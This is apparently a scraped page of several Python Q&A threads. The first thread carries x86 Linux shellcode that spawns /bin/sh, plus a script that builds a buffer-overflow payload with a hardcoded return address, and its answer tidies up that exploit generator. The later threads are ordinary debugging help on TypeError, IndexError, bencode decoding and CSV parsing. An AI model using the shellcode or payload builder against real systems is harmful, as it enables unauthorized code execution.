How to write byte-list to file Python? - python

I have a list of bytes that I want to write as a binary file:
This is what I have:
import struct as st
shellcode = bytearray("\xeb\x1f\x5e\x89\x76\x08\x31"+
"\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"+
"\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40"+
"\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")
def generateexploitmessage(nops, retaddr):
message = []
for x in xrange(0,128):
message += st.pack(">I",retaddr)
print(message)
for x in xrange(0,len(shellcode)):
message[x] = shellcode[x]
print(message)
print(len(message))
return message
def reversebyteorder(arg):
returnarray = []
for x in xrange(0,len(arg),4):
temparray = bytearray(arg[x:x+4])[::-1]
print temparray
returnarray += temparray
return returnarray
def writebytestofile(message):
f = open("pyexploit.bin",'wb')
print message
f.write(message)
f.close()
def main():
print shellcode
exploit =generateexploitmessage(0,0xbffff614)
readyexploit = reversebyteorder(exploit)
writebytestofile(readyexploit)
if __name__ == '__main__':
main()
The error message I'm getting is the following:
Traceback (most recent call last):
File "generateexploit.py", line 47, in <module>
main()
File "generateexploit.py", line 43, in main
writebytestofile(readyexploit)
File "generateexploit.py", line 35, in writebytestofile
f.write(message)
TypeError: argument 1 must be string or buffer, not list
I understand that I somehow need to convert my list or what I have to a writable format, but I have no idea how. I have tried to put a bytearray(message) where I write the final message to the file, but that didnt help.

Bot generateexploitmessage() and reversebyteorder() produce a list of bytes (integers), not a bytesarray(). Wrap the result in a bytearray() again before writing:
f.write(bytearray(message))
Alternatively, stick to producing a bytearray earlier; there is no need to use lists here:
def generateexploitmessage(nops, retaddr):
message = bytearray()
for x in xrange(128):
message += st.pack(">I", retaddr)
message[:len(shellcode)] = shellcode
return message
def reversebyteorder(arg):
returnarray = bytearray()
for x in xrange(0, len(arg), 4):
temparray = bytearray(arg[x:x + 4])[::-1]
returnarray += temparray
return returnarray

Related

How to fix TypeError: 'int' object is not callable from a divided number

Im trying to create a program to generate text with usernames from a txt file but I keep getting a TypeError: 'int' object is not iterable i know what this means but I have no idea how to fix my issue. I tried just doing y = 12 / 2 and the same error came up when i passed the for loop y i am really confused so if someone could help me that would be great
This is my code
def generateNum():
#imports random
from random import randint
for _ in range(10):
value = randint(0, 900000)
return(str(value))
def getNumOfLines( file):
#opens txt file
with open(file) as f:
Lines = f.readlines()
count = 0
# Strips the newline character
for line in Lines:
count += 1
return(count)
class debug:
def __init__(self, credsTxt, tagsTxt):
self.credsTxt = credsTxt
self.tagsTxt = tagsTxt
self.numOfCreds = getNumOfLines(credsTxt)
self.numOfTags = getNumOfLines(tagsTxt)
self.ammountPerAccount = round(self.numOfTags / self.numOfCreds)
def getComments(self):
#initializes comment
comment = ""
#opens txt file
file1 = open(self.tagsTxt, 'r')
count = 0
while True:
count += 1
# Get next line from file
line = file1.readline()
for i in self.ammountPerAccount:
# if line is empty
# end of file is reached
if not line:
break
comment += ' ' + line.strip() + ' ' + generateNum() + '.'
return(comment)
print(debug('D:/FiverrWork/user/instagram-bot/textGen/assets/login_Info.txt', 'D:/FiverrWork/user/instagram-bot/textGen/assets/tags.txt').getComments())
this is my stack trace error
Traceback (most recent call last):
File "d:\FiverrWork\user\textgenerator\textgenerator\txt.py", line 57, in <module>
print(debug('D:/FiverrWork/user/textgenerator/textgenerator/assets/login_Info.txt', 'D:/FiverrWork/user/textgenerator/textgenerator/assets/tags.txt').getComments())
File "d:\FiverrWork\user\textgenerator\textgenerator\txt.py", line 47, in getComments
for i in self.ammountPerAccount():
TypeError: 'int' object is not callable
Your for loop as posted cannot iterate over an int. You meant to iterate over a range():
for _ in range(self.ammountPerAccount):
# if line is empty
# end of file is reached
if not line:
break
comment += ' ' + line.strip() + ' ' + generateNum() + '.'
I used _ as a placeholder variable since the actual value of i each time was not used.

TypeError when trying to call functions in run

Edit; Thanks everyone! It's working now!
I'm trying to make a program that reads a csv file and calculates using that data. I have my csv_reader function and my average_temperature function working independently but I don't understand how to call them in the run() function.
I understand what the error means but I'm completely lost on how to fix it, but here's the closest I've gotten. It ends up with this error and then below it is the code:
Traceback (most recent call last):
File "main.py", line 100, in <module>
run()
File "main.py", line 82, in run
avgfile = average_temperature("Temperatures.csv", input)
File "main.py", line 40, in average_temperature
if filter in row[date_index]:
TypeError: 'in <string>' requires string as left operand, not builtin_function_or_method
Code:
import csv
date_index = 0
temp_index = 2
def csv_reader(file):
lst = []
with open("Temperatures.csv", 'r') as weather_file:
weather_reader = csv.reader(weather_file)
first_row = True
for row in weather_reader:
if first_row:
first_row = False
continue
lst.append(row)
return lst
def average_temperature(weather, filter):
thefile = csv_reader("Temperatures.csv")
sum = 0
len = 0
for row in thefile:
if filter in row[date_index]:
sum += float(row[temp_index])
len += 1
avg = sum / len
return avg
def run():
thefile = csv_reader("Temperatures.csv")
avgfile = average_temperature("Temperatures.csv", input)
print("{}".format(avgfile))
return
if __name__ == '__main__':
run()
The error is because input is the name of a built-in function. I think what you need to do is call it and get a value to pass as the filter parameter to your average_temperature() function something like this:
def run():
date_filter = input('What date? ') # Get value from user.
thefile = csv_reader("Temperatures.csv")
avgfile = average_temperature("Temperatures.csv", date_filter)
print("{}".format(avgfile))
return

IndexError while iterating through a generator

I am trying to solve a problem for my programming classes. I am given a folder that contains e-mails and special files. Special files always begin with "!". I am supposed to add a method emails() inside the Corpus class. The method should be a generator. This is the example of its use:
corpus = Corpus('/path/to/directory/with/emails')
count = 0
# Go through all emails and print the filename and the message body
for fname, body in corpus.emails():
print(fname)
print(body)
print('-------------------------')
count += 1
print('Finished: ', count, 'files processed.')
this is the class and the method I've written:
class Corpus:
def __init__(self, path_to_mails_directory):
self.path_to_mails_directory = path_to_mails_directory
def emails(self):
iterator = 0
mail_body = None
mails_folder = os.listdir(self.path_to_mails_directory)
lenght = len(mails_folder)
while iterator <= lenght:
if not mails_folder[iterator].startswith("!"):
with open(self.path_to_mails_directory+"/"+mails_folder[iterator]) as an_e_mail:
mail_body = an_e_mail.read()
yield mails_folder[iterator], mail_body
iterator += 1
and I tried to run the example code this way:
if __name__ == "__main__":
my_corpus = Corpus("data/1")
my_gen = my_corpus.emails()
count = 0
for fname, body in my_gen:
print(fname)
print(body)
print("------------------------------")
count += 1
print("finished: " + str(count))
Python prints quite a bunch of mails (the folder contains about a thousand of files) as expected and then goes:
Traceback (most recent call last):
File "C:/Users/tvavr/PycharmProjects/spamfilter/corpus.py", line 26, in <module>
for fname, body in my_gen:
File "C:/Users/tvavr/PycharmProjects/spamfilter/corpus.py", line 15, in emails
if not mails_folder[iterator].startswith("!"):
IndexError: list index out of range
I have no clue what the problem is and would appreciate any help. Thx
EDIT: I updated the code a bit based your suggestions.
A good way to do this would be as follows:
def emails(self):
mail_body = None
mails_folder = os.listdir(self.path_to_mails_directory)
for mail in mails_folder:
if mail.startswith("!"):
pass
else:
with open(self.path_to_mails_directory+"/"+mail) as an_e_mail:
mail_body = an_e_mail.read()
yield mail, mail_body
Index based iteration is not considered to be Pythonic. You should prefer "for mail in mails_folder:" syntax.

How to decode bencoded torrent data

I'm trying to extract size and name from a torrent file with decoding the content of a torrent file with bencode.
I did pip install bencode then I tested with one of the line of a torrent file as you can see there.
import bencode
blabla = 'd8:announce70:http://tracker.t411.io:56969/c5faa6720249d33ff6ba2af48640af89/announce7:comment29:https://www.t411.io/t/524280210:created by19:https://www.t411.io13:creation datei1431685353e4:infod6:lengthi14634059e4:name22:Charlie-Hebdo-1178.pdf12:piece lengthi262144e6:pieces1120:'
myprint = bencode.decode_string(blabla,1)
print myprint
This is the file that pip install put in the python lib:
from BTL import BTFailure
def decode_int(x, f):
f += 1
newf = x.index('e', f)
n = int(x[f:newf])
if x[f] == '-':
if x[f + 1] == '0':
raise ValueError
elif x[f] == '0' and newf != f+1:
raise ValueError
return (n, newf+1)
def decode_string(x, f):
colon = x.index(':', f)
n = int(x[f:colon])
if x[f] == '0' and colon != f+1:
raise ValueError
colon += 1
return (x[colon:colon+n], colon+n)
def decode_list(x, f):
r, f = [], f+1
while x[f] != 'e':
v, f = decode_func[x[f]](x, f)
r.append(v)
return (r, f + 1)
def decode_dict(x, f):
r, f = {}, f+1
while x[f] != 'e':
k, f = decode_string(x, f)
r[k], f = decode_func[x[f]](x, f)
return (r, f + 1)
decode_func = {}
decode_func['l'] = decode_list
decode_func['d'] = decode_dict
decode_func['i'] = decode_int
decode_func['0'] = decode_string
decode_func['1'] = decode_string
decode_func['2'] = decode_string
decode_func['3'] = decode_string
decode_func['4'] = decode_string
decode_func['5'] = decode_string
decode_func['6'] = decode_string
decode_func['7'] = decode_string
decode_func['8'] = decode_string
decode_func['9'] = decode_string
def bdecode(x):
try:
r, l = decode_func[x[0]](x, 0)
except (IndexError, KeyError, ValueError):
raise BTFailure("not a valid bencoded string")
if l != len(x):
raise BTFailure("invalid bencoded value (data after valid prefix)")
return r
from types import StringType, IntType, LongType, DictType, ListType, TupleType
class Bencached(object):
__slots__ = ['bencoded']
def __init__(self, s):
self.bencoded = s
def encode_bencached(x,r):
r.append(x.bencoded)
def encode_int(x, r):
r.extend(('i', str(x), 'e'))
def encode_bool(x, r):
if x:
encode_int(1, r)
else:
encode_int(0, r)
def encode_string(x, r):
r.extend((str(len(x)), ':', x))
def encode_list(x, r):
r.append('l')
for i in x:
encode_func[type(i)](i, r)
r.append('e')
def encode_dict(x,r):
r.append('d')
ilist = x.items()
ilist.sort()
for k, v in ilist:
r.extend((str(len(k)), ':', k))
encode_func[type(v)](v, r)
r.append('e')
encode_func = {}
encode_func[Bencached] = encode_bencached
encode_func[IntType] = encode_int
encode_func[LongType] = encode_int
encode_func[StringType] = encode_string
encode_func[ListType] = encode_list
encode_func[TupleType] = encode_list
encode_func[DictType] = encode_dict
try:
from types import BooleanType
encode_func[BooleanType] = encode_bool
except ImportError:
pass
def bencode(x):
r = []
encode_func[type(x)](x, r)
return ''.join(r)
The fact is that I don't really understand how can I decode my line with this bencode.
I already tried the def bdecode but this is the output:
root#debian:/home/florian/Téléchargements# python decript.py
Traceback (most recent call last):
File "decript.py", line 4, in <module>
myprint = bencode.bdecode(blabla)
File "/usr/local/lib/python2.7/dist-packages/bencode/__init__.py", line 68, in bdecode
raise BTFailure("not a valid bencoded string")
bencode.BTL.BTFailure: not a valid bencoded string
So I tried with the def decode_string but with decode_string(blabla, 1) it decode only the first word:
root#debian:/home/florian/Téléchargements# python decript.py
('announce', 11)
and the number like 2, 3, 4 don't work and display error like:
root#debian:/home/florian/Téléchargements# python decript.py
Traceback (most recent call last):
File "decript.py", line 4, in <module>
myprint = bencode.decode_string(blabla,10)
File "/usr/local/lib/python2.7/dist-packages/bencode/__init__.py", line 29, in decode_string
n = int(x[f:colon])
ValueError: invalid literal for int() with base 10: 'e70'
I want to decode all the line and I don't understand how can I do it with this bencode for example.
The string you're trying to decode seems to be truncated. it ends in pieces1120:, indicating that at least 1120 bytes should follow.
BEncoding is a binary format. It's only partially human-readable and not meant to be embedded in charset-sensitive things such as source code files. I suggest you read it straight from a file.
You have an incomplete Bencoded string.
The first part tells you there is a dictionary:
d...
which is supposed to be parsed until there is an e character. There is no such character in your input string.
A manual parse shows you have the keys announce, comment, created by, creation date, and info, where the latter is a nested dictionary with length, name, piece-length and pieces. Then your string stops; there is no value for pieces, and no e to mark the end of either the outer dictionary or the nested info dictionary. All we have is the type and length indicator: 1120.
You could try and use the decoding functions directly, but then take into account that they return the value and the offset:
>>> bencode.decode_string(blabla, 1)
('announce', 11)
11 is the offset for the next value:
>>> bencode.decode_string(blabla, 11)
('http://tracker.t411.io:56969/c5faa6720249d33ff6ba2af48640af89/announce', 84)
and 84 is again the next:
>>> bencode.decode_string(blabla, 84)
('comment', 93)
If you take into account that the string is incomplete and that not all encoded objects are strings, you can still decode what little is there.
The offset also tells you what function to use for decoding:
>>> blabla[1]
'8'
>>> bencode.decode_func[blabla[1]]
<function decode_string at 0x1004632a8>
The number here spells out how many characters to expect. So skipping the failing d dictionary mapping you get:
>>> offset = 1
>>> while True:
... value, offset = bencode.decode_func[blabla[offset]](blabla, offset)
... print value
...
announce
http://tracker.t411.io:56969/c5faa6720249d33ff6ba2af48640af89/announce
comment
https://www.t411.io/t/5242802
created by
https://www.t411.io
creation date
1431685353
info
Traceback (most recent call last):
File "<stdin>", line 2, in <module>
File "/Users/mj/Development/venvs/stackoverflow-2.7/lib/python2.7/site-packages/bencode/__init__.py", line 44, in decode_dict
while x[f] != 'e':
IndexError: string index out of range
which fails because you hit the nested dictionary without e. You could extract those keys too, by adding one to the last offset:
>>> offset
194
>>> blabla[offset]
'd'
>>> offset += 1
>>> while True:
... value, offset = bencode.decode_func[blabla[offset]](blabla, offset)
... print value
...
length
14634059
name
Charlie-Hebdo-1178.pdf
piece length
262144
pieces
Traceback (most recent call last):
File "<stdin>", line 2, in <module>
IndexError: string index out of range
Or you could just read the data as binary data and not truncate it:
with open(torrentfilename, 'rb') as torrentfile:
torrent = bencode.bdecode(torrentfile.read())
# now you have a dictionary.

appending values to a list in python

i am doing this:
def GetDistinctValues(theFile, theColumn):
lines=theFile.split('\n')
allValues=[]
for line in lines:
allValues.append(line[theColumn-1])
return list(set(allValues))
i am getting string index out of range on this line:
allValues.append(line[theColumn-1])
does anyone know what i am doing wrong?
here's the complete code if needed:
import hashlib
def doStuff():
createFiles('together.csv')
def readFile(fileName):
a=open(fileName)
fileContents=a.read()
a.close()
return fileContents
def GetDistinctValues(theFile, theColumn):
lines=theFile.split('\n')
allValues=[]
for line in lines:
allValues.append(line[theColumn-1])
return list(set(allValues))
def createFiles(inputFile):
inputFileText=readFile(inputFile)
b = inputFileText.split('\n')
r = readFile('header.txt')
DISTINCTCOLUMN=12
dValues = GetDistinctValues(inputFileText,DISTINCTCOLUMN)
for uniqueValue in dValues:
theHash=hashlib.sha224(uniqueValue).hexdigest()
for x in b:
if x[DISTINCTCOLUMN]==uniqueValue:
x = x.replace(', ',',').decode('latin-1','ignore')
y = x.split(',')
if len(y) < 3:
break
elif len(y) > 3:
desc = ' '.join(y[3:])
else:
desc = 'No description'
# Replacing non-XML-allowed characters here (add more if needed)
y[2] = y[2].replace('&','&')
desc = desc.replace('&','&')
r += '\n<Placemark><name>'+y[2].encode('utf-8','xmlcharrefreplace')+'</name>' \
'\n<description>'+desc.encode('utf-8','xmlcharrefreplace')+'</description>\n' \
'<Point><coordinates>'+y[0]+','+y[1]+'</coordinates></Point>\n</Placemark>'
r += readFile('footer.txt')
f = open(theHash,'w')
f.write(r)
f.close()
The error isn't caused by append(), It's because the line isn't long enough. Maybe your file has a empty line at the end. You could try
def GetDistinctValues(theFile, theColumn):
lines=theFile.split('\n')
allValues=[]
for line in lines:
if line:
allValues.append(line[theColumn-1])
return list(set(allValues))
otherwise an exception handler can help find what's going wrong
def GetDistinctValues(theFile, theColumn):
lines=theFile.split('\n')
allValues=[]
for line in lines:
try:
allValues.append(line[theColumn-1])
except IndexError:
print "line: %r"%line
return list(set(allValues))
That is happening because line doesn't have as many elements as the code is assuming. Try the following:
for line in lines:
if len(line) < theColumn:
print "This line doesn't have enough elements:\n" + line
else:
allValues.append(line[theColumn-1])
return list(set(allValues))
That will give you a hint, that is the type of error you expect when trying to access an element out of the range of a list i. e. a non existent element.
line[theColumn-1])
This will of course raise the mentioned error if the string(line) is shorted then 'theColumn'.
What else would you expect?

Categories